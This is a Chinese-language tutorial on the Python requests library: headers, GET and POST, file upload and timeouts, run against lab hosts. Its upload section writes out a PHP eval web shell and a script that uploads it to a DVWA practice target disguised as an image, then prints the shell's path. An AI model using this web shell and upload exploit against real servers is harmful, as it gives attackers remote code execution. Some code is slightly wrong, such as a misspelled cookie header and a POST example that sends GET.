requests模块高级用法

requests 模块高级用法练习

http://10.9.75.133/get.php源码

1) 模拟浏览器指纹

得到浏览器指纹

import requests

url = "http://10.9.75.133/get.php"

req = requests.Session()#保持请求一致性

res = req.get(url = url)

#print(res.text)
#print(res.headers)
#print(res.url)

print(res.request.headers)

{'User-Agent': 'python-requests/2.31.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

headers函数可以随意定义

import requests

url = "http://10.9.75.133/get.php"

headers = {'User-Agent': 'python-requests/2.31.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

req = requests.Session()#保持请求一致性

res = req.get(url = url,headers= headers)

#print(res.text)
#print(res.headers)
#print(res.url)

print(res.request.headers)

2) 发送get 请求

import requests

url = "http://10.9.75.133/get.php"

headers = {'User-Agent': 'python-requests/2.31.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

params = {
    "username": "GLF",
    "password": "123456"
}

req = requests.Session()#保持请求一致性

res = req.get(url = url,headers= headers,params= params)

print(res.url)

3) 发送post 请求

http://10.9.75.133/post.php源码

import requests

url = "http://10.9.75.133/post.php"

headers = {'User-Agent': 'python-requests/2.31.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

data = {
    "username": "GLF",
    "password": "123456"
}

req = requests.Session()#保持请求一致性

res = req.get(url = url,headers= headers,data= data)

print(res.text)
print(res.request.headers)
print(res.request.body)

4) 文件上传

• 木马文件1.php

<?php @eval($_REQUEST[777])?>

• 上传1.php

查看文件上传post包，得到以下信息

• 拿到cookie

'security=low; PHPSESSID=d3im9nevcudnqaunspaqgogkg3'

• Python脚本

import requests
import bs4

req = requests.Session()

url = "http://192.168.17.128//DVWA/vulnerabilities/upload/"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36",
    "Coolie"    : "security=low; PHPSESSID=d3im9nevcudnqaunspaqgogkg3"
}

data = {
    "MAX_FILE_SIZE" : "100000",
 
    "Upload" : "Upload"
}

files = {
    "uploaded" : ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}

res = req.post(url = url, headers = headers, files= files , data= data)

print(res.text)

#提取文件路径
html = res.text

html = bs4.BeautifulSoup(html, "lxml")

pre = html.find_all("pre")

pre = pre[0].text

shell_path = pre[0:pre.find(" ")]

print(f"[+] Shell Path: {url}{shell_path}")

5) 服务器超时

• slepp.php

<?php
	echo("My name is sdfg")
?>

import requests


url = "http://192.168.17.128/php/sleep.php"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36",
    "Coolie"    : "security=low; PHPSESSID=d3im9nevcudnqaunspaqgogkg3"
}

req = requests.Session()

res = req.get(url = url,headers = headers, timeout = 5) #5s内要得到服务器回应,否则报错

print(res.text)